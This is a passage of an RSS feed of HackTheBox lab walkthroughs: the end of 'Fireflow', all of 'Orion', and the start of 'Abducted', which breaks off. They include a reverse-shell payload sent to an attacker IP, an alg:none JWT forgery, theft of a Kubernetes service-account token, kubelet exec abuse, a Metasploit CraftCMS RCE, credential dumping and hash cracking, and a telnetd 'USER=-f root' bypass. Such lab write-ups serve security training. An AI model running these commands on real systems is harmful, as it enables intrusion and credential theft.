role as admin.</p><h4>Crafting Malicious JWT Token — Reverse Shell</h4><p>We will copy the token we retrieved earlier and paste it into <a href="https://www.jwt.io/">JWT.IO</a> to craft a malicious one with admin rights.</p><figure><img alt="deconding weak jwt token in fireflow" src="https://cdn-images-1.medium.com/max/1024/1*dZEvomi4keUG7aKdfznNMQ.png" /><figcaption>Deconding JWT Token</figcaption></figure><p>Once the token is pasted, switch JWT Encoder and make the following changes, and then copy the new crafted token.</p><figure><img alt="encoding weak JWT token with admin rights in fireflow with none algorithm" src="https://cdn-images-1.medium.com/max/1024/1*xw05eYTp0jpv1jKKLk42kg.png" /><figcaption>Encoding JWT Token — Admin Rights</figcaption></figure><p>Now we will use this token with a reverse shell to register a malicious tool.</p><pre>nightfall@fireflow:~$ curl -s -X POST http://localhost:30080/api/v1/tools \<br>-H &#39;Content-Type: application/json&#39; \<br>-H &quot;Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.&quot; \<br>-d &#39;{<br>&quot;name&quot;: &quot;shell&quot;,<br>&quot;description&quot;: &quot;debug shell&quot;,<br>&quot;inputSchema&quot;: {&quot;type&quot;:&quot;object&quot;,&quot;properties&quot;:{}},<br>&quot;code&quot;: &quot;import socket,os,pty\npid=os.fork()\nif pid&gt;0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid&gt;0:\n import sys;sys.exit(0)\ns=socket.socket()\ns.connect((\&quot;10.10.16.84\&quot;,8080))\n[os.dup2(s.fileno(), i) for i in(0,1,2)]\npty.spawn(\&quot;/bin/sh\&quot;)&quot; }&#39; | python3 -m json.tool<br><br>{<br>    &quot;status&quot;: &quot;registered&quot;,<br>    &quot;name&quot;: &quot;shell&quot;<br>}</pre><p>Let’s set up a listener and trigger the tool.</p><pre>nightfall@fireflow:~$ curl -s -X POST http://localhost:30080/mcp \<br>-H &#39;Content-Type: application/json&#39; \<br>-H &quot;Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoiYWRtaW4ifQ.&quot; \<br>-d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:4,&quot;method&quot;:&quot;tools/call&quot;,&quot;params&quot;:{&quot;name&quot;:&quot;shell&quot;,&quot;arguments&quot;:<br>{}}}&#39; | python3 -m json.tool<br><br>{<br>    &quot;jsonrpc&quot;: &quot;2.0&quot;,<br>    &quot;id&quot;: 4,<br>    &quot;result&quot;: {<br>        &quot;content&quot;: [<br>            {<br>                &quot;type&quot;: &quot;text&quot;,<br>                &quot;text&quot;: &quot;&quot;<br>            }<br>        ],<br>        &quot;isError&quot;: false<br>    }<br>}</pre><figure><img alt="reverse shell as mcp user on Fireflow" src="https://cdn-images-1.medium.com/max/1024/1*0vO6_we0Hpv1-rF7mjbA8A.png" /><figcaption>Reverse Shell — MCP</figcaption></figure><h3>Privilege Escalation — Root</h3><p>It seems we landed in a pod environment in Kubernetes. The output of the command below confirms that.</p><blockquote>A <strong>Pod</strong> is the smallest and simplest deployable unit in Kubernetes.</blockquote><pre>mcp@mcp-server-54464cb475-29ztf:/app$ ls                                                       <br>main.py  requirements.txt<br><br>mcp@mcp-server-54464cb475-29ztf:/app$ env<br>SHELL=/usr/bin/bash<br>KUBERNETES_SERVICE_PORT_HTTPS=443<br>PYTHON_SHA256=272179ddd9a2e41a0fc8e42e33dfbdca0b3711aa5abf372d3f2d51543d09b625<br>KUBERNETES_SERVICE_PORT=443<br>HOSTNAME=mcp-server-54464cb475-29ztf<br>PYTHON_VERSION=3.11.15<br>PWD=/app<br>MCP_SERVER_SERVICE_HOST=10.43.250.195<br>MCP_SERVER_SERVICE_PORT=8080<br>HOME=/home/mcp<br>MCP_SERVER_PORT_8080_TCP_PROTO=tcp<br>LANG=C.UTF-8<br>KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443</pre><h4>Enumerating Permissions</h4><p>Let’s enumerate our permissions using the APIs.</p><pre>mcp@mcp-server-54464cb475-29ztf:/app$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)<br>mcp@mcp-server-54464cb475-29ztf:/app$ CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt<br>mcp@mcp-server-54464cb475-29ztf:/app$ API=https://10.43.0.1:443<br>mcp@mcp-server-54464cb475-29ztf:/app$ curl -sk -X POST &quot;$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews&quot; \<br>-H &quot;Authorization: Bearer $TOKEN&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;apiVersion&quot;:&quot;authorization.k8s.io/v1&quot;,&quot;kind&quot;:&quot;SelfSubjectRulesReview&quot;,&quot;spec&quot;:{&quot;namespace&quot;:&quot;default&quot;}}&#39; \<br>| python3 -c &quot;import sys, json; rules = json.load(sys.stdin)[&#39;status&#39;].get(&#39;resourceRules&#39;, []); [print(r) for r in rules]&quot;<br><br>{&#39;verbs&#39;: [&#39;get&#39;], &#39;apiGroups&#39;: [&#39;&#39;], &#39;resources&#39;: [&#39;nodes/proxy&#39;]}<br>{&#39;verbs&#39;: [&#39;create&#39;], &#39;apiGroups&#39;: [&#39;authorization.k8s.io&#39;], &#39;resources&#39;: [&#39;selfsubjectaccessreviews&#39;, &#39;selfsubjectrulesreviews&#39;]}<br>{&#39;verbs&#39;: [&#39;create&#39;], &#39;apiGroups&#39;: [&#39;authentication.k8s.io&#39;], &#39;resources&#39;: [&#39;selfsubjectreviews&#39;]}</pre><p>In the rules output, notice the nodes/proxy permission. This API subresource allows us to proxy HTTP requests through the Kubernetes API server directly to a node&#39;s Kubelet.</p><h4>RCE — Root prometheus-node-exporter</h4><p>This detailed post <a href="https://grahamhelton.com/blog/nodes-proxy-rce">here</a> explains how we can abuse this to achieve RCE. Holding the nodes/proxy privilege effectively bypasses standard pods/exec RBAC restrictions. By communicating directly with Kubelet endpoints through the API server proxy, an attacker can issue command execution requests to containers, leading to immediate Remote Code Execution (RCE).</p><pre>mcp@mcp-server-54464cb475-29ztf:/app$ curl -sk &quot;https://kubernetes.default.svc/api/v1/nodes/fireflow/proxy/pods&quot; \<br>-H &quot;Authorization: Bearer $TOKEN&quot; \<br>| python3 -c &quot;<br>import sys, json<br>data = json.load(sys.stdin)<br>for item in data.get(&#39;items&#39;, []):<br>    ns = item[&#39;metadata&#39;][&#39;namespace&#39;]<br>    name = item[&#39;metadata&#39;][&#39;name&#39;]<br>    vols = [v for v in item[&#39;spec&#39;].get(&#39;volumes&#39;, []) if &#39;hostPath&#39; in v]<br>    for c in item[&#39;spec&#39;][&#39;containers&#39;]:<br>        csc = c.get(&#39;securityContext&#39;, {})<br>        if csc.get(&#39;privileged&#39;) and vols:<br>            paths = [v[&#39;hostPath&#39;][&#39;path&#39;] for v in vols]<br>            print(f&#39;[!] PRIVILEGED: {ns}/{name} - container: {c[\&quot;name\&quot;]} - hostPaths: {paths}&#39;)<br>&quot;<br>[!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: [&#39;/proc&#39;, &#39;/sys&#39;, &#39;/&#39;]</pre><p>The prometheus-node-exporter pod is the best target to compromise because it requires high-level system permissions by default. To monitor hardware metrics like CPU, memory, disk usage, and network traffic, it runs with root privileges, shares the host network and process namespaces, and mounts the host&#39;s filesystem. Gaining access to this container immediately grants root-level privileges and direct visibility into the host machine.</p><p>Now we can use the following curl command to execute commands on the prometheus-node-exporter pod to gain root privileges.</p><pre>mcp@mcp-server-54464cb475-29ztf:/app$ curl -i -k \<br>  -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  -H &quot;Connection: Upgrade&quot; \<br>  -H &quot;Upgrade: websocket&quot; \<br>  -H &quot;Sec-WebSocket-Version: 13&quot; \<br>  -H &quot;Sec-WebSocket-Key: SGVsbG8sIFdvcmxkIQ==&quot; \<br>  -H &quot;Sec-WebSocket-Protocol: v4.channel.k8s.io&quot; \<br>  &quot;wss://10.129.30.203:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&amp;error=1&amp;command=/bin/sh&amp;command=-c&amp;command=id&quot;<br><br>uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)<br>{&quot;metadata&quot;:{},&quot;status&quot;:&quot;Success&quot;}</pre><h4>Root Flag</h4><p>We will use the following commad to retreive the root flag.</p><pre>mcp@mcp-server-54464cb475-29ztf:/tmp$ curl -i -k \<br>  -H &quot;Authorization: Bearer $TOKEN&quot; \<br>  -H &quot;Connection: Upgrade&quot; \<br>  -H &quot;Upgrade: websocket&quot; \<br>  -H &quot;Sec-WebSocket-Version: 13&quot; \<br>  -H &quot;Sec-WebSocket-Key: SGVsbG8sIFdvcmxkIQ==&quot; \<br>  -H &quot;Sec-WebSocket-Protocol: v4.channel.k8s.io&quot; \<br>  &quot;wss://10.129.30.203:10250/exec/monitoring/prometheus-prometheus-node-exporter-nmntq/node-exporter?output=1&amp;error=1&amp;command=/bin/sh&amp;command=-c&amp;command=cat+/host/root/root/root.txt&quot;<br>5f37bf7f7807e3fd41d9############<br>{&quot;metadata&quot;:{},&quot;status&quot;:&quot;Success&quot;}</pre><p>We are now root on <a href="https://app.hackthebox.com/machines/Fireflow">Fireflow</a>, we have successfully <a href="https://labs.hackthebox.com/achievement/machine/894352/957">pwned</a> Fireflow from HackTheBox. Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbe5b45ab466" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Orion — HackTheBox Detailed Walkthrough]]></title>
            <link>https://medium.com/@bericontraster/orion-hackthebox-detailed-walkthrough-14c3d79de607?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/14c3d79de607</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Wed, 08 Jul 2026 07:36:05 GMT</pubDate>
            <atom:updated>2026-07-08T07:36:05.038Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NZ2H54_wWGXvAJAQapHyiw.png" /></figure><p>Today we will pwn <a href="https://app.hackthebox.com/machines/Orion">Orion</a> from <a href="https://app.hackthebox.com/">HackTheBox</a>. It’s an easy-difficulty Linux machine by <a href="https://app.hackthebox.com/users/1829350">Pho3o</a>.</p><h4>Machine Overview</h4><p><strong>Orion</strong> is an easy-difficulty Linux machine simulating a compromised web application and legacy communications environment. Initial entry leverages CVE-2025–32432, a remote code execution vulnerability in CraftCMS where a cross-site request forgery (CSRF) validation bypass allows an attacker to execute arbitrary code and establish a foothold under the web service account.</p><p>Post-exploitation reveals a misconfigured environment variable file containing exposed database credentials, allowing access to an underlying MySQL instance. A retrieved password hash is successfully cracked and exploited due to credential reuse on a local system account, granting direct SSH access.</p><p>Finally, privilege escalation to root is accomplished by abusing a vulnerable telnetd instance affected by CVE-2026-24061, where an authentication bypass flaw in the legacy daemon allows an attacker to completely circumvent authentication controls and spawn a root shell.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><p>We’ll start with an nmap scan with script and version detection enabled.</p><pre>$ nmap 10.129.18.167 -sCV -oN default-scan<br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-07 10:02 +0500<br>Nmap scan report for 10.129.18.167 (10.129.18.167)<br>Host is up (0.26s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)<br>|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)<br>80/tcp open  http    nginx 1.18.0 (Ubuntu)<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Did not follow redirect to http://orion.htb/<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 19.73 seconds</pre><p>The above scan reveals a website running on port 80, which is being redirected to orion.htb. We’ll add the hostname IP to our /etc/hosts file for proper redirection.</p><pre>echo &quot;10.129.1.122 orion.htb&quot; &gt;&gt; /etc/hosts</pre><h4>Web Enumeration — 80</h4><p>We’ll start by taking a look at the site and see if we find anything.</p><figure><img alt="landing page of orion telecom comapny" src="https://cdn-images-1.medium.com/max/1024/1*morCT7dwf3NLgyUaWf7i_g.png" /><figcaption>Orion Telecom</figcaption></figure><p>We see a website of a telecom company that seems to be working with large corporations and government agencies.</p><p>Using <a href="https://www.wappalyzer.com/">Wappalyzer</a>, we detected the tech stack being used by the site, and it revealed that the site is using Craft CMS with Yii frameworks.</p><figure><img alt="detected tech stack by wappalyzer firefox extension" src="https://cdn-images-1.medium.com/max/484/1*7J2dsS5RpShvcQMPSbJg2Q.png" /><figcaption>Craft CMS</figcaption></figure><p>To enumerate further, we’ll start with fuzzing endpoints using ffuf.</p><pre>$ ffuf -u http://orion.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -ic<br><br>        /&#39;___\  /&#39;___\           /&#39;___\       <br>       /\ \__/ /\ \__/  __  __  /\ \__/       <br>       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      <br>        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      <br>         \ \_\   \ \_\  \ \____/  \ \_\       <br>          \/_/    \/_/   \/___/    \/_/       <br><br>       v2.1.0-dev<br>________________________________________________<br><br> :: Method           : GET<br> :: URL              : http://orion.htb/FUZZ<br> :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt<br> :: Follow redirects : false<br> :: Calibration      : false<br> :: Timeout          : 10<br> :: Threads          : 40<br> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500<br>________________________________________________<br><br>admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 2891ms]<br>assets                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 781ms]</pre><p>The above output reveals an admin endpoint that redirects to /admin/login. It has a login portal with the Craft CMS version 5.6.16 displayed at the bottom.</p><figure><img alt="Orion administration login portal running craft cms 5.6.16" src="https://cdn-images-1.medium.com/max/385/1*OCADSCJ12NDx26RRuDFj2A.png" /><figcaption>Orion Telecom Login Portal</figcaption></figure><h3>Exploiting Craft CMS — Initial Access CVE-2025–32432</h3><p>A quick Google search against the enumerated Craft CMS version 5.6.16 revealed that it is vulnerable to remote code execution <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-32432">CVE-2025–32432</a>.</p><blockquote>The core vulnerability within CVE-2025–32432 lies in the processing logic of Craft CMS’s actions/assets/generate-transform endpoint, which handles image transformations and requires a valid, unique asset ID that an unauthenticated attacker can discover via response enumeration. Traditional Cross-Site Request Forgery (CSRF) protections are bypassed by staging a malicious PHP payload inside a temporary session file during routine authentication redirections; when a request is then issued to the endpoint with a manipulated handle object, the framework deserializes the configuration without input validation, resulting in remote code execution. While legacy 3.x installations parse this malicious body with minimal friction, the exploitation path changes in Craft CMS 4.x and 5.x environments due to stricter structural validation implemented earlier in the request lifecycle. <a href="https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/">Read More</a></blockquote><p>There aren’t many reliable exploits available on GitHub for this vulnerability, so we’ll use the one from Rapid7.</p><pre>$ msfconsole -q<br>msf &gt; use linux/http/craftcms_preauth_rce_cve_2025_32432<br>msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) &gt; set rhost orion.htb<br>msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) &gt; set lhost tun0</pre><p>Now that our parameters are set, we’ll go on and execute the exploit.</p><pre>$ msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) &gt; exploit<br>[*] Started reverse TCP handler on 10.10.16.246:4444 <br>[*] Running automatic check (&quot;set AutoCheck false&quot; to disable)<br>[+] Leaked session.save_path: /var/lib/php/sessions<br>[+] The target is vulnerable. Session path leaked<br>[*] Injecting stub &amp; triggering payload...<br>[*] Sending stage (45739 bytes) to 10.129.18.167<br>[*] Meterpreter session 1 opened (10.10.16.246:4444 -&gt; 10.129.18.167:49914) at 2026-07-07 10:47:53 +0500<br><br>meterpreter &gt; shell<br>Process 1683 created.<br>Channel 0 created.<br>id<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>script /dev/null -c /bin/bash<br>Script started, output log file is &#39;/dev/null&#39;.<br>www-data@orion:~/html/craft/web$ </pre><p>We can upgrade the reverse shell into a fully interactive TTY terminal via the following command.</p><pre>script /dev/null -c /bin/bash<br>Script started, output log file is &#39;/dev/null&#39;.<br>www-data@orion:~/html/craft/web$ </pre><h3>Post Exploitation — User Flag</h3><p>We’ll start by enumerating the Craft directory to see if we can stumble upon any stored passwords.</p><pre>www-data@orion:~/html/craft$ cat .env<br><br>&lt; ... snip ... &gt;<br><br># General settings<br>CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8<br>CRAFT_DEV_MODE=true<br>CRAFT_ALLOW_ADMIN_CHANGES=true<br>CRAFT_DISALLOW_ROBOTS=true<br>CRAFT_DB_DRIVER=mysql<br>CRAFT_DB_SERVER=127.0.0.1<br>CRAFT_DB_PORT=3306<br>CRAFT_DB_DATABASE=orion<br>CRAFT_DB_USER=root<br>CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!<br>CRAFT_DB_SCHEMA=<br>CRAFT_DB_TABLE_PREFIX=<br><br>PRIMARY_SITE_URL=http://orion.htb/</pre><p>We found a .env file under /var/www/html/craft/ directory with database credentials stored in plaintext.</p><p>Let’s use the discovered credentials to log in to MySQL.</p><pre>www-data@orion:~/html/craft$ mysql -u root -p orion<br>Enter password: SuperSecureCraft123Pass!<br><br>Reading table information for completion of table and column names<br>You can turn off this feature to get a quicker startup with -A<br><br>Welcome to the MariaDB monitor.  Commands end with ; or \g.<br>Your MariaDB connection id is 5988<br>Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04<br><br>Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.<br><br>Type &#39;help;&#39; or &#39;\h&#39; for help. Type &#39;\c&#39; to clear the current input statement.<br><br>MariaDB [orion]&gt;</pre><h4>Cracking Hash — Hashcat</h4><p>While enumerating the table, I found the users table with the credentials of adam user.</p><pre>MariaDB [orion]&gt; select * from users;<br>select * from users;<br>+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+<br>| id | photoId | affiliatedSiteId | active | pending | locked | suspended | admin | username | fullName | firstName | lastName | email          | password                                                     | lastLoginDate       | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated         | dateUpdated         |<br>+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+<br>|  1 |    NULL |             NULL |      1 |       0 |      0 |         0 |     1 | admin    | NULL     | NULL      | NULL     | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | 2026-03-12 11:25:04 | NULL               | NULL                    |              NULL | NULL                 | NULL        |            1 | NULL             | NULL                       | NULL            |                     0 | 2026-03-12 11:24:51    | 2026-03-06 11:24:45 | 2026-03-12 11:25:04 |<br>+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+<br>1 row in set (0.004 sec)</pre><p>The hash is a bcrypt format, which can be cracked using hashcat with mode 32000.</p><pre>$ hashcat &#39;$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS&#39; /usr/share/wordlists/rockyou.txt -m 3200 --show<br>$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel</pre><p>Now we can SSH as user Adam.</p><pre>$ ssh adam@orion.htb                                                                                                                                 <br>adam@orion.htb&#39;s password: <br>Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br><br>adam@orion:~$ id<br>uid=1000(adam) gid=1000(adam) groups=1000(adam)</pre><p>Reading the user flag.</p><pre>adam@orion:~$ cat user.txt<br>1c1a7b482####################</pre><h3>Privilege Escalation — Root</h3><p>While enumerating the system, I found a port 23/tcp which is not exposed externally. Port 23 is used by telnet. It is a legacy, unencrypted protocol used to provide command-line remote access to network devices and servers.</p><pre>$ netstat -antp</pre><figure><img alt="local telnet port 23 revealed in enumeration" src="https://cdn-images-1.medium.com/max/1005/1*kqUBnHfHZLWWOVdQxv5tFQ.png" /><figcaption>23/TCP</figcaption></figure><h4>Exploiting Telnet CVE-2026–24061</h4><p>The telnet version on the target system is 2.7 which is vulnerable to authentication bypasses, <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-24061">CVE-2026–24061</a>.</p><blockquote>The core vulnerability within CVE-2026–24061 lies in an argument injection flaw residing in the GNU InetUtils telnetd service daemon. The issue stems from insufficient validation of client-supplied input during protocol negotiation via the NEW_ENVIRON option. Because the daemon forwards the user-controlled USER environment variable directly to the underlying /usr/bin/login binary without proper sanitization, an attacker can inject malicious flags such as -f root into the string template. The login binary interprets this injection as an explicit instruction to treat the session as pre-authenticated, completely bypassing standard password validation routines and immediately spawning an unauthenticated root shell.</blockquote><pre>adam@orion:~$ telnet --version<br>telnet (GNU inetutils) 2.7<br>Copyright (C) 2025 Free Software Foundation, Inc.<br>License GPLv3+: GNU GPL version 3 or later &lt;https://gnu.org/licenses/gpl.html&gt;.<br>This is free software: you are free to change and redistribute it.<br>There is NO WARRANTY, to the extent permitted by law.<br><br>Written by many authors.</pre><p>We can use the following command to obtain a root shell.</p><pre>adam@orion:~$ USER=&quot;-f root&quot; telnet -a 127.0.0.1<br>Trying 127.0.0.1...<br>Connected to 127.0.0.1.<br>Escape character is &#39;^]&#39;.<br><br>Linux 5.15.0-177-generic (orion) (pts/2)<br><br>Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br><br>&lt; ... SNIP ... &gt;<br><br>root@orion:~# id<br>uid=0(root) gid=0(root) groups=0(root)</pre><p>Reading the root flag.</p><pre>root@orion:~# cat root.txt<br>d64c603c5e####################</pre><p>We are now root on <a href="https://labs.hackthebox.com/achievement/machine/894352/945">Orion</a> from HackTheBox. This was a very fun box to solve. Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=14c3d79de607" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Abducted — HackTheBox Detailed Walkthrough]]></title>
            <link>https://medium.com/@bericontraster/abducted-hackthebox-detailed-walkthrough-af3807a0b2cd?source=rss-b965b4bc0386------2</link>
            <guid isPermaLink="false">https://medium.com/p/af3807a0b2cd</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Beri Contraster]]></dc:creator>
            <pubDate>Fri, 19 Jun 2026 19:54:43 GMT</pubDate>
            <atom:updated>2026-06-19T19:59:30.035Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2bl6TNCqKgsNYcR_oarOVg.png" /><figcaption>Abducted — HackTheBox</figcaption></figure><p>Today we will pwn <a href="https://app.hackthebox.com/machines/Abducted">Abducted</a> from HackTheBox. It’s a medium-difficulty Linux machine by <a href="https://app.hackthebox.com/users/114053">TheCyberGeek</a> and <a href="https://app.hackthebox.com/users/389926">kavigihan</a>.</p><blockquote>This walkthrough is also available on my personal site <a href="https://bericontraster.com/posts/abducted-hackthebox-detailed-writeup">here</a>.</blockquote><h3>Machine Overview</h3><p>Abducted is a medium-difficulty Linux machine simulating a compromised on-premises file and print server within a professional services environment. Initial entry leverages CVE-2026-4480, a print-subsystem command injection vulnerability in Samba where unescaped client-supplied print job names are executed directly by the system, granting remote code execution under the print service account.</p><p>Post-exploitation reveals an offsite backup configuration containing an obfuscated password, which is successfully decoded using rclone tooling and exploited due to credential reuse on a secondary system account. Lateral movement is achieved by exploiting a separate Samba share misconfigured with force user and wide links, enabling symbolic link traversal to write an authorized SSH key directly into a third user’s home directory.</p><p>Finally, privilege escalation to root is accomplished by abusing a polkit configuration that delegates Samba service management to this user’s group, allowing the injection of a malicious systemd service drop-in file executed during a service restart.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><p>Let’s start with an nmap scan with the script and version flags.</p><pre>$ nmap abducted.htb -sCV -A -oN abducted-default<br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-19 06:06 +0500<br>Nmap scan report for 10.129.244.177<br>Host is up (0.14s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT    STATE SERVICE     VERSION<br>22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)<br>|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)<br>139/tcp open  netbios-ssn Samba smbd 4<br>445/tcp open  netbios-ssn Samba smbd 4<br>Device type: general purpose<br>Running: Linux 4.X|5.X<br>OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5<br>OS details: Linux 4.15 - 5.19<br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled but not required<br>|_nbstat: NetBIOS name: ABDUCTED, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb2-time: <br>|   date: 2026-06-19T01:07:03<br>|_  start_date: N/A<br><br>TRACEROUTE (using port 199/tcp)<br>HOP RTT       ADDRESS<br>1   204.03 ms 10.10.16.1<br>2   101.75 ms 10.129.244.177<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 32.59 seconds</pre><p>The scan exposed two services SSH &amp; Samba. Nmap listed <strong>Samba smbd 4</strong> as the Samba version.</p><h4>SMB Enumeration</h4><p>The first thing I like to do is to check whether I can access any share via guest login if enabled.</p><pre>$ nxc smb abducted.htb -u &#39;&#39; -p &#39;&#39; --shares <br>SMB         10.129.244.177  445    ABDUCTED         [*] Unix - Samba (name:ABDUCTED) (domain:ABDUCTED) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.129.244.177  445    ABDUCTED         [+] ABDUCTED\: <br>SMB         10.129.244.177  445    ABDUCTED         [*] Enumerated shares<br>SMB         10.129.244.177  445    ABDUCTED         Share           Permissions     Remark<br>SMB         10.129.244.177  445    ABDUCTED         -----           -----------     ------<br>SMB         10.129.244.177  445    ABDUCTED         HP-Reception    WRITE           Reception printer<br>SMB         10.129.244.177  445    ABDUCTED         projects                        Hartley Group Project Files<br>SMB         10.129.244.177  445    ABDUCTED         transfer                        Staff file transfer<br>SMB         10.129.244.177  445    ABDUCTED         IPC$                            IPC Service (Hartley Group Document Services)</pre><p>The guest login is enabled, and we also have write permissions to one of the shares HP-Reception. This permission alone will not yield anything, so I tried searching the version to see if there are any available vulnerabilities against the Samba smbd 4 version.</p><h3>Exploitation — Initial Access CVE-2026-4480</h3><p>I evaluated several potential vulnerabilities, but <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-4480">CVE-2026–4480</a> was the perfect match for our environment. The exploit requires a guest-accessible printer share to achieve remote code execution, and we found exactly that sitting right in the share list.</p><blockquote><em>A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the “print command” setting via the </em><em>&quot;%J&quot; substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected 